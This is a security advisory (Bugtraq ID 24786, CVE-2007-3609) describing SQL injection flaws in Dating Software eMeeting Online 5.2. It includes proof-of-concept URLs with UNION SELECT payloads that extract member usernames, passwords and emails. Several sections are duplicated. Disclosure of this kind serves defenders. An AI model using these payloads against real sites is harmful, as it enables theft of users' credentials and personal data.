Dating Software eMeeting Online Multiple SQL Injection Vulnerabilities
BID:24786
Info
Dating Software eMeeting Online Multiple SQL Injection Vulnerabilities
| Bugtraq ID: | 24786 |
| Class: | Input Validation Error |
| CVE: |
CVE-2007-3609 |
| Remote: | Yes |
| Local: | No |
| Published: | Jul 05 2007 12:00AM |
| Updated: | May 07 2015 05:37PM |
| Credit: | t0pP8uZz & xprog is credited with the discovery of these vulnerabilities. |
| Vulnerable: |
Dating Software eMeeting Online 5.2 |
| Not Vulnerable: | |
Discussion
Dating Software eMeeting Online Multiple SQL Injection Vulnerabilities
Dating Software eMeeting Online is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data.
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify sensitive data, or exploit latent vulnerabilities in the underlying database.
Dating Software eMeeting Online 5.2 is vulnerable to these issues; other versions may also be vulnerable.
Dating Software eMeeting Online is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data.
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify sensitive data, or exploit latent vulnerabilities in the underlying database.
Dating Software eMeeting Online 5.2 is vulnerable to these issues; other versions may also be vulnerable.
Exploit / POC
Dating Software eMeeting Online Multiple SQL Injection Vulnerabilities
Attackers can use a browser to exploit these issues.
The following proof-of-concept URIs are available:
http://www.example.com/b.php?id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,concat(username,0x3a,password),5,6,7,8,9,10/**/from/**/members/*
http://www.example.com/b.php?id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,concat(username,0x3a,password),5,6,7,8,9,10/**/from/**/members/**/where/**/username=0x61646D696E/*
http://www.example.com/account/gallery.php?p=gal&id=-1/**/UNION/**/ALL/**/SELECT/**/null,null,null,concat(0x273e3c2f74643e,username,0x3a,password,0x3a,email,0x3c62723e3c2f2f),null,null/**/from/**/members/*
Attackers can use a browser to exploit these issues.
The following proof-of-concept URIs are available:
http://www.example.com/b.php?id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,concat(username,0x3a,password),5,6,7,8,9,10/**/from/**/members/*
http://www.example.com/b.php?id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,concat(username,0x3a,password),5,6,7,8,9,10/**/from/**/members/**/where/**/username=0x61646D696E/*
http://www.example.com/account/gallery.php?p=gal&id=-1/**/UNION/**/ALL/**/SELECT/**/null,null,null,concat(0x273e3c2f74643e,username,0x3a,password,0x3a,email,0x3c62723e3c2f2f),null,null/**/from/**/members/*
Solution / Fix
Dating Software eMeeting Online Multiple SQL Injection Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
Dating Software eMeeting Online Multiple SQL Injection Vulnerabilities
References:
References:
- Vendor Homepage (Dating Software)